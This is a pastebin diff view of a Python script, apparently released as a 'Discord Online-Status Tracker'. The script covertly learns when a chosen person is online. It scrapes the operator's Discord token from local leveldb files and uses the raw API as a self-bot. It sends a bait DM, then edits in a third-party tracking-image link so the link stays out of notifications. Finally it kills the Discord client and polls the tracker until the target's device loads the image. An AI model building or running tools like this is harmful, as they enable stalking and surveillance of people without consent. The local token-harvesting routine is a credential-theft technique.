View difference between Paste ID: U7t22RRB and jpTVT5qg
SHOW: | | - or go back to the newest paste.
1
"""
2
 Title: Discord Online-Status Tracker
3
4
 Author: h0nda (twitter.com/h0nde)
5
6
 Release Date: 2019-06-02
7
8
 Description:
9
   This project abuses the fact that embedded image links don't get cached when a message is sent,
10
   only after it is visited by client.
11
   We can abuse this to track when a target's discord client processes a message, which can tell us
12
   if a target is online or not.
13
14
 Note:
15
   This project doesn't tell you when a target actually read your message, it just tells when it
16
   was processed by their device.
17
   You can avoid getting tracked by turning off the setting "When posted as links to chat." at
18
   Discord Client -> Settings -> Text & Images.
19
"""
20
21
import os
22
import random
23
import glob
24
import re
25
import time
26
from datetime import datetime
27
import requests
28
import subprocess
29
30
try: input = raw_input
31
except NameError: pass
32
33
# attempt to find discord token from local db files
34
token = None
35
for fpath in glob.glob(os.getenv("APPDATA")+"\\Discord\\Local Storage\\leveldb\\*.ldb"):
36
    try:
37
        with open(fpath, errors="ignore") as f:
38
            token_match = re.search("\"([a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*)\"", f.read())
39
            if token_match:
40
                token = token_match.group(1)
41
                break
42
    except: pass
43
44
if not token: exit(print("Your authentication token could not be found. Make sure you are logged into Discord Client and try again."))
45
46
class Discord:
47
    def __init__(self, token):
48
        self.session = requests.Session()
49
        self.session.headers["Authorization"] = token
50
        self.session.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36"
51
        self.get_self_info()
52
53
    def get_self_info(self):
54
        self.info = self.session.get("https://discordapp.com/api/v6/users/@me").json()
55
56
    def create_trap_url(self):
57
        resp = requests.get(
58
            url="http://t.rbxtools.com/?create"
59
        )
60
61
        return resp.json()
62
    
63
    def get_dm_channel_id(self, user_id):
64
        resp = self.session.post(
65
            url="https://discordapp.com/api/v6/users/"+str(self.info["id"])+"/channels",
66
            json={"recipients": [str(user_id)]}
67
        )
68
        resp.raise_for_status()
69
70
        return resp.json()["id"]
71
    
72
    def delete_channel(self, channel_id):
73
        resp = self.session.delete(
74
            url="https://discordapp.com/api/v6/channels/"+str(channel_id)
75
        )
76
        return 200 == resp.status_code
77
78
    def send_message(self, channel_id, body):
79
        resp = self.session.post(
80
            url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages",
81
            json={"content": body, "nonce": "".join([str(random.randint(0,9)) for _ in range(18)]), "tts": False}
82
        )
83
        resp.raise_for_status()
84
85
        return resp.json()["id"]
86
    
87
    def edit_message(self, channel_id, msg_id, body):
88
        resp = self.session.patch(
89
            url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages/"+str(msg_id),
90
            json={"content": body}
91
        )
92
        return 200 == resp.status_code
93
94
target_uid = input("Target User ID: ")
95
msg_body = input("Enter your 'bait' message: ")
96
97
# le deprecated laziness has arrived
98
# make sure we don't accidentally load the trap image ourselves
99
os.system("taskkill /f /t /im Discord.exe > nul 2> nul")
100
101
session = Discord(token)
102
target_cid = session.get_dm_channel_id(target_uid)
103
trap = session.create_trap_url()
104
if "error" in trap:
105
    print("Error while creating trap link:", trap["error"])
106
    exit()
107
108
# send message without link to avoid it showing up on notification
109
bait_msg = session.send_message(target_cid, msg_body)
110
# edit message to add link
111
session.edit_message(target_cid, bait_msg, msg_body+"\n"+trap["url"])
112
# make sure we don't accidentally load the trap image ourselves
113
session.delete_channel(target_cid)
114
115
subprocess.Popen([glob.glob(os.getenv("LOCALAPPDATA")+r"\\Discord\app*")[0]+r"\Discord.exe"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
116
117
print("\nBait message has been sent to target user. Do not re-open your DM channel with the target user or the tracking will fail.")
118
print("You'll be notified of when the message was viewed below:\n")
119
120
# wait until link is visited
121
while 1!=time.sleep(1):
122
    try:
123
        status = requests.get(trap["stats_url"]).json()
124
        if status["views"] > 1:
125
            print("Message", "'"+msg_body+"'", "was viewed at", datetime.fromtimestamp(status["last_visit"]).strftime("%Y-%m-%d %H:%M:%S"), "\a")
126
            target_cid = session.get_dm_channel_id(target_uid)
127
            session.edit_message(target_cid, bait_msg, msg_body)
128
            session.delete_channel(target_cid)
129
            break
130
    except Exception as error: pass
131
132
while 1!=time.sleep(5): pass